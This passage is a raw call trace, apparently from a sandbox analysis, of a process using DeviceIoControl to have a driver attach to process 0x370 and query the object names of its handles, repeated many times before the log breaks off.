AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0113.360] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.360] PsReleaseProcessExitSynchronization () returned 0x2 [0113.360] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.360] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.360] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0113.360] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.360] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.360] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0113.360] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.360] PsAcquireProcessExitSynchronization () returned 0x0 [0113.361] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.361] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0113.361] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.361] PsReleaseProcessExitSynchronization () returned 0x2 [0113.361] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.361] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.361] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0113.361] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.361] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.361] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.361] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.361] PsAcquireProcessExitSynchronization () returned 0x0 [0113.361] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.361] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0113.361] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.361] PsReleaseProcessExitSynchronization () returned 0x2 [0113.361] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.361] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.361] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0113.361] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.361] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.361] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.361] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.361] PsAcquireProcessExitSynchronization () returned 0x0 [0113.361] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.361] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0113.361] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.361] PsReleaseProcessExitSynchronization () returned 0x2 [0113.361] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.361] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.361] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0113.361] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.361] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.362] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.362] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.362] PsAcquireProcessExitSynchronization () returned 0x0 [0113.362] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.362] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0113.362] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.362] PsReleaseProcessExitSynchronization () returned 0x2 [0113.362] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.362] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.362] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0113.362] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.362] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.362] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0113.362] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.362] PsAcquireProcessExitSynchronization () returned 0x0 [0113.362] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.362] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0113.362] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.362] PsReleaseProcessExitSynchronization () returned 0x2 [0113.362] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.362] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.362] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x2 [0113.362] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.362] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.362] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.362] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0113.362] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.362] PsAcquireProcessExitSynchronization () returned 0x0 [0113.362] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.362] ObReferenceObjectByHandle (in: Handle=0x50c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0113.362] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.362] PsReleaseProcessExitSynchronization () returned 0x2 [0113.362] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.362] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.363] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0113.363] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.363] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0113.363] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.363] PsAcquireProcessExitSynchronization () returned 0x0 [0113.363] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.363] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001040620, HandleInformation=0x0) returned 0x0 [0113.363] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.363] PsReleaseProcessExitSynchronization () returned 0x2 [0113.363] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.363] ObQueryNameString (in: Object=0xfffff8a001040620, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.363] ObfDereferenceObject (Object=0xfffff8a001040620) returned 0x3 [0113.363] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.363] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0113.363] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.363] PsAcquireProcessExitSynchronization () returned 0x0 [0113.363] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.363] ObReferenceObjectByHandle (in: Handle=0x518, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089ce580, HandleInformation=0x0) returned 0x0 [0113.363] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.363] PsReleaseProcessExitSynchronization () returned 0x2 [0113.363] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.363] ObQueryNameString (in: Object=0xfffff8a0089ce580, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.363] ObfDereferenceObject (Object=0xfffff8a0089ce580) returned 0x2 [0113.363] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.363] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.363] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0113.363] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.363] PsAcquireProcessExitSynchronization () returned 0x0 [0113.363] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.364] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003414070, HandleInformation=0x0) returned 0x0 [0113.364] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.364] PsReleaseProcessExitSynchronization () returned 0x2 [0113.364] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.364] ObQueryNameString (in: Object=0xfffffa8003414070, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.364] ObfDereferenceObject (Object=0xfffffa8003414070) returned 0x3 [0113.364] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.364] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0113.364] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.364] PsAcquireProcessExitSynchronization () returned 0x0 [0113.364] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.364] ObReferenceObjectByHandle (in: Handle=0x698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003437350, HandleInformation=0x0) returned 0x0 [0113.364] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.364] PsReleaseProcessExitSynchronization () returned 0x2 [0113.364] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.364] ObQueryNameString (in: Object=0xfffffa8003437350, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.364] ObfDereferenceObject (Object=0xfffffa8003437350) returned 0x1 [0113.364] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.364] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.364] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.364] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.364] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.364] PsAcquireProcessExitSynchronization () returned 0x0 [0113.364] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.364] ObReferenceObjectByHandle (in: Handle=0x6a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f7dad0, HandleInformation=0x0) returned 0x0 [0113.364] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.364] PsReleaseProcessExitSynchronization () returned 0x2 [0113.364] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.365] ObQueryNameString (in: Object=0xfffffa8002f7dad0, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.365] ObfDereferenceObject (Object=0xfffffa8002f7dad0) returned 0x2 [0113.365] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.365] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0113.365] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.365] PsAcquireProcessExitSynchronization () returned 0x0 [0113.365] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.365] ObReferenceObjectByHandle (in: Handle=0x710, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003436c70, HandleInformation=0x0) returned 0x0 [0113.365] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.365] PsReleaseProcessExitSynchronization () returned 0x2 [0113.365] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.365] ObQueryNameString (in: Object=0xfffffa8003436c70, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.365] ObfDereferenceObject (Object=0xfffffa8003436c70) returned 0x1 [0113.365] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.365] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x32, lpOverlapped=0x0) returned 1 [0113.365] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.365] PsAcquireProcessExitSynchronization () returned 0x0 [0113.365] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.365] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003436f20, HandleInformation=0x0) returned 0x0 [0113.365] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.365] PsReleaseProcessExitSynchronization () returned 0x2 [0113.365] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.365] ObQueryNameString (in: Object=0xfffffa8003436f20, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.365] ObfDereferenceObject (Object=0xfffffa8003436f20) returned 0x1 [0113.365] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.365] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.365] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.365] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0113.365] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.366] PsAcquireProcessExitSynchronization () returned 0x0 [0113.366] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.366] ObReferenceObjectByHandle (in: Handle=0x71c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003437510, HandleInformation=0x0) returned 0x0 [0113.366] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.366] PsReleaseProcessExitSynchronization () returned 0x2 [0113.366] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.366] ObQueryNameString (in: Object=0xfffffa8003437510, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.366] ObfDereferenceObject (Object=0xfffffa8003437510) returned 0x1 [0113.366] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.366] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.366] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.366] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0113.366] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.366] PsAcquireProcessExitSynchronization () returned 0x0 [0113.366] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.366] ObReferenceObjectByHandle (in: Handle=0x798, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037852a0, HandleInformation=0x0) returned 0x0 [0113.366] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.366] PsReleaseProcessExitSynchronization () returned 0x2 [0113.366] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.366] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.366] ObfDereferenceObject (Object=0xfffffa80037852a0) returned 0x1 [0113.366] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.366] HeapFree (in: hHeap=0x270000, dwFlags=0x0, 